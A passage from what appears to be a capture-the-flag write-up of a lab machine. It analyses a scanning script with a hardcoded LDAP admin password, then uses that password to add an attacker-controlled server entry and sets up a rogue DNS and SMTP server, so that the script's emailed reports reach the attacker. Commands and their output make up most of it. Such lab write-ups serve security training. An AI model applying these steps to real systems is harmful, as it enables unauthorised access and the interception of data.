\\&quot;$domain\\&quot;: $smtp_server&quot; &gt;&gt; $log_file\n\n          # retrieve ip address of SMTP server\n          if $local_dns; then\n            smtp_server_ip=$(nslookup &quot;$smtp_server&quot;|grep &#039;Name:&#039; -A2|grep &#039;Address:&#039;|head -n1|cut -d &#039; &#039; -f2)\n          else\n            smtp_server_ip=$(nslookup &quot;$smtp_server&quot; &quot;$ip&quot;|grep &#039;Name:&#039; -A2|grep &#039;Address:&#039;|head -n1|cut -d &#039; &#039; -f2)\n          fi\n\n          if &#x5B;&#x5B; &quot;$smtp_server_ip&quot; =~ ^&#x5B;0-9]+\\.&#x5B;0-9]+\\.&#x5B;0-9]+\\.&#x5B;0-9]+$ ]]; then\n            echo &quot;- retrieved ip address of SMTP server: $smtp_server_ip&quot; &gt;&gt; $log_file\n\n            # send PDF report via SMTP\n            .\/send_report.py &quot;$smtp_server_ip&quot; &quot;$mail&quot; &quot;$outfile.pdf&quot; &gt;&gt; $log_file\n          fi\n        fi\n      else\n        echo &quot;- failed to retrieve manager mail address \/ invalid format&quot; &gt;&gt; $log_file\n      fi\n    else\n      echo &quot;- failed to retrieve manager uid \/ invalid manager uid format&quot; &gt;&gt; $log_file\n    fi\n  fi\ndone\n<\/pre><\/div>\n\n\n<p>Let&#8217;s go through the script step by step.<\/p>\n\n\n\n<p>At first a function called <code>isEmailValid<\/code> is defined, which validates an email address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\nfunction isEmailValid() {\n  regex=&quot;^((&#x5B;A-Za-z0-9]+((\\.|\\-|\\_|\\+)?&#x5B;A-Za-z0-9]?)*&#x5B;A-Za-z0-9]+)|&#x5B;A-Za-z0-9]+)@((&#x5B;A-Za-z0-9]+)+((\\.|\\-|\\_)?(&#x5B;A-Za-z0-9]+)+)*)+\\.(&#x5B;A-Za-z]{2,})+$&quot;\n  &#x5B;&#x5B; &quot;${1}&quot; =~ $regex ]]\n}\n...\n<\/pre><\/div>\n\n\n<p>After this the <code>LDAP<\/code> admin password is stored in the variable <code>pwd<\/code> and the output folder is cleared. There seems to be a log file called <code>output\/log.txt<\/code>. Also the <code>umask<\/code> value is set to <code>0006<\/code>, which in this case means that new files created are not readable by other users:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\nbind_dn=&#039;cn=admin,dc=response,dc=htb&#039;\npwd=&#039;aU4EZxEAOnimLNzk3&#039;\n\n# clear output folder, set umask\nrm output\/scan_*\nlog_file=&#039;output\/log.txt&#039;\nrm $log_file\ntouch $log_file\numask 0006\n...\n<\/pre><\/div>\n\n\n<p>At next <code>LDAP<\/code> is queried for <code>ipHost<\/code> objects in the OU <code>servers<\/code> and the <code>ipHostNumber<\/code> is extracted. Also there is a regex to verify the format of the extracted IP address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n...\n# get customer&#039;s servers from LDAP\nservers=$(\/usr\/bin\/ldapsearch -x -D $bind_dn -w $pwd -s sub -b &#039;ou=servers,dc=response,dc=htb&#039; &#039;(objectclass=ipHost)&#039;|grep ipHostNumber|cut -d &#039; &#039; -f2)\nfor ip in $servers; do\n  if &#x5B;&#x5B; &quot;$ip&quot; =~ ^&#x5B;0-9]+\\.&#x5B;0-9]+\\.&#x5B;0-9]+\\.&#x5B;0-9]+$ ]]; then\n    echo &quot;scanning server ip $ip&quot; &gt;&gt; $log_file\n    ...\n<\/pre><\/div>\n\n\n<p>We can manually run this command in order to see the output:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan$ export bind_dn=&#039;cn=admin,dc=response,dc=htb&#039;\nbob@response:\/home\/scryh\/scan$ export pwd=&#039;aU4EZxEAOnimLNzk3&#039;\nbob@response:\/home\/scryh\/scan$ \/usr\/bin\/ldapsearch -x -D $bind_dn -w $pwd -s sub -b &#039;ou=servers,dc=response,dc=htb&#039; &#039;(objectclass=ipHost)&#039;\n# extended LDIF\n#\n# LDAPv3\n# base &lt;ou=servers,dc=response,dc=htb&gt; with scope subtree\n# filter: (objectclass=ipHost)\n# requesting: ALL\n#\n\n# TestServer, servers, response.htb\ndn: cn=TestServer,ou=servers,dc=response,dc=htb\nobjectClass: top\nobjectClass: ipHost\nobjectClass: device\ncn: TestServer\nipHostNumber: 172.18.0.3\nmanager: uid=marie,ou=customers,dc=response,dc=htb\n\n# search result\nsearch: 2\nresult: 0 Success\n\n# numResponses: 2\n# numEntries: 1\n<\/pre><\/div>\n\n\n<p>There is one <code>ipHost<\/code> entry with the <code>ipHostNumber<\/code> attribute being <code>172.18.0.3<\/code>. There is also an additional attribute called <code>manager<\/code>, which is set to <code>uid=marie,ou=customers,dc=response,dc=htb<\/code>.<\/p>\n\n\n\n<p>The next lines in the bash script scan the extracted IP address with <code>nmap<\/code> using three different scripts in the folder <code>scripts<\/code> (<code>ssl-enum-ciphers<\/code>, <code>ssl-cert<\/code> and <code>ssl-heartbleed<\/code>). The generated <code>XML<\/code> output is then converted to a <code>PDF<\/code> file using <code>wkhtmltopdf<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n    ...\n    # scan customer server and generate PDF report\n    outfile=&quot;output\/scan_$ip&quot;\n    nmap -v -Pn $ip -p 443 --script scripts\/ssl-enum-ciphers,scripts\/ssl-cert,scripts\/ssl-heartbleed -oX &quot;$outfile.xml&quot;\n    wkhtmltopdf &quot;$outfile.xml&quot; &quot;$outfile.pdf&quot;\n    ...\n<\/pre><\/div>\n\n\n<p>At next the <code>ipHost<\/code> with the currently processing IP address is queried again and the <code>uid<\/code> of the <code>manager<\/code> attribute is extracted. This <code>uid<\/code> is used to query the OU <code>customers<\/code> and extract the email address of the manager:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n    ...\n    # get customer server manager\n    manager_uid=$(\/usr\/bin\/ldapsearch -x -D $bind_dn -w $pwd -s sub -b &#039;ou=servers,dc=response,dc=htb&#039; &#039;(&amp;(objectclass=ipHost)(ipHostNumber=&#039;$ip&#039;))&#039;|grep &#039;manager: uid=&#039;|cut -d &#039;=&#039; -f2|cut -d &#039;,&#039; -f1)\n    if &#x5B;&#x5B; &quot;$manager_uid&quot; =~ ^&#x5B;a-zA-Z0-9]+$ ]]; then\n      echo &quot;- retrieved manager uid: $manager_uid&quot; &gt;&gt; $log_file\n\n      # get manager&#039;s mail address\n      mail=$(\/usr\/bin\/ldapsearch -x -D &quot;cn=admin,dc=response,dc=htb&quot; -w aU4EZxEAOnimLNzk3 -s sub -b &#039;ou=customers,dc=response,dc=htb&#039; &#039;(uid=&#039;$manager_uid&#039;)&#039;|grep &#039;mail: &#039;|cut -d &#039; &#039; -f2)\n      if isEmailValid &quot;$mail&quot;; then\n        echo &quot;- manager mail address: $mail&quot; &gt;&gt; $log_file\n        ...\n<\/pre><\/div>\n\n\n<p>We have already seen that the <code>uid<\/code> for the only present server is <code>marie<\/code>. Let&#8217;s run the query for extracting the email address manually:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan$ \/usr\/bin\/ldapsearch -x -D &quot;cn=admin,dc=response,dc=htb&quot; -w aU4EZxEAOnimLNzk3 -s sub -b &#039;ou=customers,dc=response,dc=htb&#039; &#039;(uid=marie)&#039;\n# extended LDIF\n#\n# LDAPv3\n# base &lt;ou=customers,dc=response,dc=htb&gt; with scope subtree\n# filter: (uid=marie)\n# requesting: ALL\n#\n\n# marie, customers, response.htb\ndn: uid=marie,ou=customers,dc=response,dc=htb\nobjectClass: inetOrgPerson\ncn: Marie Wiliams\nsn: Marie\nuid: marie\nmail: marie.w@response-test.htb\n\n# search result\nsearch: 2\nresult: 0 Success\n\n# numResponses: 2\n# numEntries: 1\n<\/pre><\/div>\n\n\n<p>The response contains a <code>inetOrgPerson<\/code> object with the <code>mail<\/code> attribute being <code>marie.w@response-test.htb<\/code>.<\/p>\n\n\n\n<p>The next lines within the bash script try to lookup the <code>SMTP<\/code> server for the domain of the extracted email address. For this purpose the <code>MX<\/code> record of the domain is queried via the local <code>DNS<\/code> resolver. If this fails, the server which is currently being processed is assumed to be an authoritative <code>DNS<\/code> server for the domain and is queried for the <code>MX<\/code> record:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n        ...\n        # get SMTP server\n        domain=$(echo $mail|cut -d &#039;@&#039; -f2)\n        local_dns=true\n        smtp_server=$(nslookup -type=mx &quot;$domain&quot;|grep &#039;mail exchanger&#039;|cut -d &#039;=&#039; -f2|sort|head -n1|cut -d &#039; &#039; -f3)\n        if &#x5B;&#x5B; -z &quot;$smtp_server&quot; ]]; then\n          echo &quot;- failed to retrieve SMTP server for domain \\&quot;$domain\\&quot; locally&quot; &gt;&gt; $log_file\n\n          # SMTP server not found. try to query customer server via DNS\n          local_dns=false\n          smtp_server=$(timeout 0.5 nslookup -type=mx &quot;$domain&quot; &quot;$ip&quot;|grep &#039;mail exchanger&#039;|cut -d &#039;=&#039; -f2|sort|head -n1|cut -d &#039; &#039; -f3)\n          if &#x5B;&#x5B; -z &quot;$smtp_server&quot; ]]; then\n            echo &quot;- failed to retrieve SMTP server for domain \\&quot;$domain\\&quot; from server $ip&quot; &gt;&gt; $log_file\n\n            # failed to retrieve SMTP server\n            continue\n          fi\n        fi\n        ...\n<\/pre><\/div>\n\n\n<p>If the name of an <code>SMTP<\/code> server was successfully retrieved, the script tries to resolve the name into an IP address. Finally a python script called <code>send_report.py<\/code> is executed passing the IP address of the <code>SMTP<\/code> server, the manager&#8217;s email address and the <code>PDF<\/code> filename:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n        ...\n        if &#x5B;&#x5B; &quot;$smtp_server&quot; =~ ^&#x5B;a-z0-9.-]+$ ]]; then\n          echo &quot;- retrieved SMTP server for domain \\&quot;$domain\\&quot;: $smtp_server&quot; &gt;&gt; $log_file\n\n          # retrieve ip address of SMTP server\n          if $local_dns; then\n            smtp_server_ip=$(nslookup &quot;$smtp_server&quot;|grep &#039;Name:&#039; -A2|grep &#039;Address:&#039;|head -n1|cut -d &#039; &#039; -f2)\n          else\n            smtp_server_ip=$(nslookup &quot;$smtp_server&quot; &quot;$ip&quot;|grep &#039;Name:&#039; -A2|grep &#039;Address:&#039;|head -n1|cut -d &#039; &#039; -f2)\n          fi\n\n          if &#x5B;&#x5B; &quot;$smtp_server_ip&quot; =~ ^&#x5B;0-9]+\\.&#x5B;0-9]+\\.&#x5B;0-9]+\\.&#x5B;0-9]+$ ]]; then\n            echo &quot;- retrieved ip address of SMTP server: $smtp_server_ip&quot; &gt;&gt; $log_file\n\n            # send PDF report via SMTP\n            .\/send_report.py &quot;$smtp_server_ip&quot; &quot;$mail&quot; &quot;$outfile.pdf&quot; &gt;&gt; $log_file\n          fi\n        fi\n      else\n        echo &quot;- failed to retrieve manager mail address \/ invalid format&quot; &gt;&gt; $log_file\n      fi\n    else\n      echo &quot;- failed to retrieve manager uid \/ invalid manager uid format&quot; &gt;&gt; $log_file\n    fi\n  fi\ndone\n<\/pre><\/div>\n\n\n<p>Let&#8217;s have a look at the python script <code>send_report.py<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan$ cat send_report.py \n#!\/usr\/bin\/env python3\n\nimport sys\nimport smtplib\nfrom email.mime.application import MIMEApplication\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.utils import formatdate\n\ndef send_report(smtp_server, customer_email, fn):\n  msg = MIMEMultipart()\n  msg&#x5B;&#039;From&#039;]    = &#039;reports@response.htb&#039;\n  msg&#x5B;&#039;To&#039;]      = customer_email\n  msg&#x5B;&#039;Date&#039;]    = formatdate(localtime=True)\n  msg&#x5B;&#039;Subject&#039;] = &#039;Response Scanning Engine Report&#039;\n  msg.attach(MIMEText(&#039;Dear Customer,\\n\\nthe attached file contains your detailed scanning report.\\n\\nBest regards,\\nYour Response Scanning Team\\n&#039;))\n  pdf = open(fn, &#039;rb&#039;).read()\n  part = MIMEApplication(pdf, Name=&#039;Scanning_Report.pdf&#039;)\n  part&#x5B;&#039;Content-Disposition&#039;] = &#039;attachment; filename=&quot;Scanning_Report.pdf&quot;&#039;\n  msg.attach(part)\n  smtp = smtplib.SMTP(smtp_server)\n  smtp.sendmail(msg&#x5B;&#039;From&#039;], customer_email, msg.as_string())\n  smtp.close()\n\n\ndef main():\n  if (len(sys.argv) != 4):\n    print(&#039;usage:\\n%s &lt;smtp_server&gt; &lt;customer_email&gt; &lt;report_file&gt;&#039; % sys.argv&#x5B;0])\n    quit()\n\n  print(&#039;- sending report %s to customer %s via smtp server %s&#039; % ( sys.argv&#x5B;3], sys.argv&#x5B;2], sys.argv&#x5B;1]))\n  send_report(sys.argv&#x5B;1], sys.argv&#x5B;2], sys.argv&#x5B;3])\n\nif (__name__ == &#039;__main__&#039;):\n  main()\n<\/pre><\/div>\n\n\n<p>This script is less complex. It sends an email to the given email address via the provided <code>SMTP<\/code> server. Also the file being passed as the last argument is attached to the email.<\/p>\n\n\n\n<p>Summing up the <code>scan.sh<\/code> script does the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Get the IP address of servers in the <code>LDAP<\/code> OU <code>servers<\/code><\/li>\n\n\n\n<li>Scan the IP address with <code>nmap<\/code> using three different scripts<\/li>\n\n\n\n<li>Generate a <code>PDF<\/code> report of the scan result using <code>wkhtmltopdf<\/code><\/li>\n\n\n\n<li>Retrieve the <code>manager<\/code> of the server and her\/his email address in the <code>LDAP<\/code> OU <code>customers<\/code><\/li>\n\n\n\n<li>Retrieve the <code>SMTP<\/code> server responsible for the manager&#8217;s email address<\/li>\n\n\n\n<li>Send the <code>PDF<\/code> scan report to the manager via the retrieved <code>SMTP<\/code> server<\/li>\n<\/ul>\n\n\n\n<p>At this point we need to figure out, how we can leverage the script in order to gain access to the user <code>scryh<\/code>.<\/p>\n\n\n\n<h2 id=\"https\">Make own HTTPS Server being scanned<\/h2>\n\n\n\n<p>Since the script contains the plaintext <code>LDAP<\/code> admin password, we can add\/delete\/modify entries within <code>LDAP<\/code>. Thus we can add an own server and also a corresponding manager. This means that we can make the script scan our own machine, if we add it as a server. Let&#8217;s verify that assumption.<\/p>\n\n\n\n<p>At first we create an <code>LDIF<\/code> file for our own server:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/tmp$ cat server.ldif \ndn: cn=EvilServer,ou=servers,dc=response,dc=htb\nobjectClass: top\nobjectClass: ipHost\nobjectClass: device\ncn: EvilServer\nipHostNumber: 10.10.13.42\nmanager: uid=marie,ou=customers,dc=response,dc=htb\n<\/pre><\/div>\n\n\n<p>Now we can use <code>ldapadd<\/code> with the credentials from the bash script to add the server:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/tmp$ ldapadd -D &#039;cn=admin,dc=response,dc=htb&#039; -w aU4EZxEAOnimLNzk3 -f .\/server.ldif \nadding new entry &quot;cn=EvilServer,ou=servers,dc=response,dc=htb&quot;\n<\/pre><\/div>\n\n\n<p>In order to see if our machine is scanned, we set up an <code>HTTPS<\/code> server. At first we need to create a self signed certificate, which can be done using <code>openssl<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ openssl req -x509 -nodes -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365\nGenerating a RSA private key\n.......++++\n............................................................................................++++\nwriting new private key to &#039;key.pem&#039;\n-----\nYou are about to be asked to enter information that will be incorporated\ninto your certificate request.\nWhat you are about to enter is what is called a Distinguished Name or a DN.\nThere are quite a few fields but you can leave some blank\nFor some fields there will be a default value,\nIf you enter &#039;.&#039;, the field will be left blank.\n-----\nCountry Name (2 letter code) &#x5B;AU]:\nState or Province Name (full name) &#x5B;Some-State]:\nLocality Name (eg, city) &#x5B;]:\nOrganization Name (eg, company) &#x5B;Internet Widgits Pty Ltd]:\nOrganizational Unit Name (eg, section) &#x5B;]:\nCommon Name (e.g. server FQDN or YOUR name) &#x5B;]:\nEmail Address &#x5B;]:\n<\/pre><\/div>\n\n\n<p>The following python script will spawn a <code>python http.server<\/code> using <code>HTTPS<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat https_server.py\n#!\/usr\/bin\/env python3\n\nfrom http.server import HTTPServer, SimpleHTTPRequestHandler\nimport ssl\n\nhttpd = HTTPServer((&#039;0.0.0.0&#039;, 443), SimpleHTTPRequestHandler)\nhttpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&#039;.\/key.pem&#039;, certfile=&#039;.\/cert.pem&#039;, server_side=True)\nhttpd.serve_forever()\n<\/pre><\/div>\n\n\n<p>Now we run the server:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/https_server.py \n<\/pre><\/div>\n\n\n<p>\u2026 and start Wireshark. After a while we can see that our machine is actually being scanned:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"480\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-10-1024x480.png\" alt=\"\" class=\"wp-image-2620\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-10-1024x480.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-10-300x141.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-10-768x360.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-10.png 1317w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>We can also see that a corresponding <code>XML<\/code> and <code>PDF<\/code> file was generated in the <code>output<\/code> folder. Though we cannot read it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/tmp$ ls -al \/home\/scryh\/scan\/output\/\ntotal 116\ndrwxr-xr-x 2 scryh scryh  4096 Mar 10 12:10 .\ndrwxr-xr-x 5 scryh scryh  4096 Mar  4 07:48 ..\n-rw-rw-r-- 1 scryh scryh   694 Mar 10 12:10 log.txt\n-rw-rw---- 1 scryh scryh 37394 Mar 10 12:10 scan_10.10.13.42.pdf\n-rw-rw---- 1 scryh scryh 11387 Mar 10 12:10 scan_10.10.13.42.xml\n-rw-rw---- 1 scryh scryh 37418 Mar 10 12:10 scan_172.18.0.3.pdf\n-rw-rw---- 1 scryh scryh 10086 Mar 10 12:10 scan_172.18.0.3.xml\n<\/pre><\/div>\n\n\n<p>The file <code>output\/log.txt<\/code> verifies that our machine was scanned. Though the report was not sent because the <code>SMTP<\/code> server for the domain <code>response-test.htb<\/code> could not be retrieved via our machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/tmp$ cat \/home\/scryh\/scan\/output\/log.txt \n...\nscanning server ip 10.10.13.42\n- retrieved manager uid: marie\n- manager mail address: marie.w@response-test.htb\n- failed to retrieve SMTP server for domain &quot;response-test.htb&quot; locally\n- failed to retrieve SMTP server for domain &quot;response-test.htb&quot; from server 10.10.13.42\n<\/pre><\/div>\n\n\n<p>Based on our analysis of the bash script our server is queried for the <code>MX<\/code> <code>DNS<\/code> record in order to retrieve the <code>SMTP<\/code> server. Let&#8217;s verify that in Wireshark.<\/p>\n\n\n\n<p>After each run of the <code>scan.sh<\/code> script, the <code>LDAP<\/code> database is reset. Thus we have to add our server again, if we want to get our machine scanned once more:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/tmp$ ldapadd -D &#039;cn=admin,dc=response,dc=htb&#039; -w aU4EZxEAOnimLNzk3 -f .\/server.ldif \nadding new entry &quot;cn=EvilServer,ou=servers,dc=response,dc=htb&quot;\n<\/pre><\/div>\n\n\n<p>If we now set a filter in Wireshark to display <code>DNS<\/code> traffic (port <code>53\/udp<\/code>), we can actually see the <code>DNS<\/code> request:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"992\" height=\"617\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-11.png\" alt=\"\" class=\"wp-image-2621\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-11.png 992w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-11-300x187.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-11-768x478.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Since there is no <code>DNS<\/code> server running on our machine, the retrieval of the <code>SMTP<\/code> server fails.<\/p>\n\n\n\n<h2 id=\"dns\">Setting up own DNS Server<\/h2>\n\n\n\n<p>In order to set up an authoritative <code>DNS<\/code> server, we use docker again with the <code>bind9<\/code> image (<a href=\"https:\/\/hub.docker.com\/r\/internetsystemsconsortium\/bind9\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/hub.docker.com\/r\/internetsystemsconsortium\/bind9<\/a>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ sudo docker run --name=bind9 -p 53:53\/udp internetsystemsconsortium\/bind9:9.18\nUnable to find image &#039;internetsystemsconsortium\/bind9:9.18&#039; locally\n9.18: Pulling from internetsystemsconsortium\/bind9\nea362f368469: Pull complete\n10-Mar-2022 13:57:08.871 BIND 9 is maintained by Internet Systems Consortium,\n...\n<\/pre><\/div>\n\n\n<p>At first we have to configure <code>bind9<\/code> itself by creating a <code>named.conf<\/code> file. Here we basically define that the server should listen on all interfaces (<code>listen-on { any; };<\/code>) and that there is a zone called <code>response-test.htb.<\/code> with the zone file located at <code>\/var\/lib\/bind\/db.response-test.htb<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat named.conf \noptions {\n        directory &quot;\/var\/cache\/bind&quot;;\n        listen-on { any; };\n        allow-recursion { none; };\n        allow-transfer { none; };\n        allow-update { none; };\n};\n\nzone &quot;response-test.htb.&quot; {\n        type primary;\n        file &quot;\/var\/lib\/bind\/db.response-test.htb&quot;;\n};\n<\/pre><\/div>\n\n\n<p>Within the zone file we define an <code>MX<\/code> record, which defines a mail server with the name <code>mail.response-test.htb<\/code>. We also need to add an <code>A<\/code> record, which maps the IP address of our machine (<code>10.10.13.42<\/code>) to this name:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat db.response-test.htb \n$TTL 38400\n@ IN SOA ns.response-test.htb. admin.response-test.htb. (\n2       ;Serial\n600     ;Refresh\n300     ;Retry\n60480   ;Expire\n600 )   ;Negative Cache TTL\n\n@       IN      NS      ns.response-test.htb.\n@       IN      MX  10  mail.response-test.htb.\nns      IN      A       10.10.13.42\nmail    IN      A       10.10.13.42\n<\/pre><\/div>\n\n\n<p>Now we copy both files into the docker container:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ sudo docker cp named.conf bind9:\/etc\/bind\/named.conf\n$ sudo docker cp db.response-test.htb bind9:\/var\/lib\/bind\/db.response-test.htb\n<\/pre><\/div>\n\n\n<p>At next we stop the running container and rerun it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ sudo docker start -a bind9\n...\n10-Mar-2022 14:20:05.215 all zones loaded\n10-Mar-2022 14:20:05.215 running\n...\n<\/pre><\/div>\n\n\n<p>At this point the <code>bind9<\/code> server is up and running. We can verify this using <code>nslookup<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ nslookup -type=MX response-test.htb 127.0.0.1\nServer:         127.0.0.1\nAddress:        127.0.0.1#53\n\nresponse-test.htb       mail exchanger = 10 mail.response-test.htb.\n<\/pre><\/div>\n\n\n<p>Accordingly the <code>MX<\/code> record is properly working. Now we also verify that the name resolution is working:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ nslookup mail.response-test.htb 127.0.0.1\nServer:         127.0.0.1\nAddress:        127.0.0.1#53\n\nName:   mail.response-test.htb\nAddress: 10.10.13.42\n<\/pre><\/div>\n\n\n<p>The name of the <code>SMTP<\/code> server (<code>mail.response-test.htb<\/code>) is successfully resolved to our IP address (<code>10.10.13.42<\/code>).<\/p>\n\n\n\n<h2 id=\"smtp\">Setting up own SMTP Server<\/h2>\n\n\n\n<p>In order to actually receive the email sent by the script, we have to set up an <code>SMTP<\/code> server. This can be done easily using <code>python<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ python -m smtpd -n -c DebuggingServer 10.10.13.42:25\n<\/pre><\/div>\n\n\n<p>In order to get our server scanned again, we re-add it to <code>LDAP<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/tmp$ ldapadd -D &#039;cn=admin,dc=response,dc=htb&#039; -w aU4EZxEAOnimLNzk3 -f .\/server.ldif \nadding new entry &quot;cn=EvilServer,ou=servers,dc=response,dc=htb&quot;\n<\/pre><\/div>\n\n\n<p>After a while we can observe in Wireshark that the <code>DNS<\/code> resolution now succeeds:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"669\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-12-1024x669.png\" alt=\"\" class=\"wp-image-2622\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-12-1024x669.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-12-300x196.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-12-768x502.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-12.png 1279w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Also the email is being sent to us:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"669\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-13-1024x669.png\" alt=\"\" class=\"wp-image-2623\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-13-1024x669.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-13-300x196.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-13-768x502.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-13.png 1279w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>The output of the <code>python<\/code> <code>SMTP<\/code> server shows the received email:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ sudo python -m smtpd -n -c DebuggingServer 10.10.13.42:25               \n---------- MESSAGE FOLLOWS ----------                                                             \nContent-Type: multipart\/mixed; boundary=&quot;===============4525060307770544584==&quot;\nMIME-Version: 1.0                                                                                 \nFrom: reports@response.htb                                                                        \nTo: marie.w@response-test.htb                                                                     \nDate: Thu, 10 Mar 2022 14:28:03 +0000                                                             \nSubject: Response Scanning Engine Report                                                          \nX-Peer: 10.10.13.37                                                                               \n\n--===============4525060307770544584==\nContent-Type: text\/plain; charset=&quot;us-ascii&quot;\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\n\nDear Customer,\n\nthe attached file contains your detailed scanning 